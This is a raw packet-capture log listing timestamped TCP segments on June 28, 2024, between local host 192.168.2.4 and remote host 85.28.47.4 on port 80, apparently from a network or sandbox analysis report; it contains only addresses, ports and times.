Jun 28, 2024 22:32:07.267363071 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267379999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267390013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267399073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267404079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267415047 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267466068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267513990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267524958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267553091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267575026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267591000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267601967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267632961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267641068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267653942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267662048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267688036 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267726898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267752886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267762899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267772913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267782927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267790079 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267802954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267807961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267827034 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267853975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.267873049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.267914057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268007040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268017054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268026114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268037081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268042088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268049955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268058062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268064976 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268073082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268080950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268089056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268095970 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268105030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268111944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268126011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268145084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268346071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268356085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268364906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268373966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268383980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268388987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268399000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268409967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268415928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268423080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268433094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268439054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268446922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268455982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268474102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268491030 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268620014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268630028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268660069 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268668890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268841982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268851995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268861055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268868923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268877983 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268884897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268902063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268908024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268915892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268923044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268932104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268942118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268945932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268955946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268968105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268975973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.268982887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.268990040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269001961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269009113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.269036055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.269167900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269207001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.269320965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269331932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269341946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269351959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269360065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.269370079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269376040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.269385099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269392014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.269398928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269407988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269414902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.269423962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269429922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.269438028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269450903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269455910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.269463062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.269479036 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.269495010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.916995049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.922044992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.097815037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.097830057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.097841024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.097851038 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.097862959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.097872972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.097884893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.097908020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.097951889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.097965956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.098004103 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.098041058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.098051071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.098061085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.098073959 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.098079920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.098089933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.098113060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.098191023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.098201990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.098212957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.098226070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.098237038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.098253965 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.098383904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.098393917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.098419905 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.098427057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.179646969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.179697037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.179707050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.179733992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.179742098 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.179847956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.179857969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.179863930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.179869890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.179879904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.179903984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.179919004 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180007935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180017948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180052996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180157900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180169106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180179119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180188894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180202007 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180206060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180217028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180226088 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180233955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180246115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180253983 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180303097 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180311918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180430889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180442095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180474043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180531025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180540085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180550098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180577040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180587053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180710077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180720091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180730104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180738926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180749893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180757046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180764914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180778980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180785894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180794001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180802107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180810928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.180821896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180836916 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180855036 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.180954933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.181000948 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.262135983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262146950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262156963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262310028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.262351990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262397051 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.262403011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262413979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262439013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.262454033 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.262584925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262595892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262605906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262615919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262636900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.262651920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.262803078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262820959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.262849092 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.262873888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263055086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263066053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263076067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263086081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263102055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263107061 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263115883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263123035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263132095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263140917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263168097 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263330936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263340950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263350964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263369083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263375044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263384104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263391018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263400078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263408899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263416052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263423920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263432026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263437986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263447046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263453960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263462067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263468981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263478994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263485909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263493061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263499022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263513088 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263529062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.263956070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263967037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263977051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263987064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.263994932 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264008999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264015913 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264025927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264041901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264060974 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264416933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264427900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264437914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264446974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264456987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264465094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264472008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264496088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264501095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264508009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264517069 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264525890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264540911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264545918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264549971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264564037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264570951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264580011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264589071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264596939 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264626026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.264889956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264899969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.264938116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265042067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265053034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265063047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265073061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265084982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265089989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265100002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265108109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265115976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265122890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265136957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265144110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265151024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265158892 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265166998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265176058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265182018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265192032 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265198946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265208006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265213966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265223980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265230894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265243053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265248060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265256882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.265264988 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.265290022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344335079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344377041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344388008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344428062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344448090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344459057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344470024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344485044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344500065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344559908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344604969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344614983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344624996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344635963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344644070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344654083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344666004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344674110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344681978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344701052 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344716072 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:08.344897032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344907045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344916105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:08.344926119 CEST	80	49731	85.28.47.4	192.168.2.4
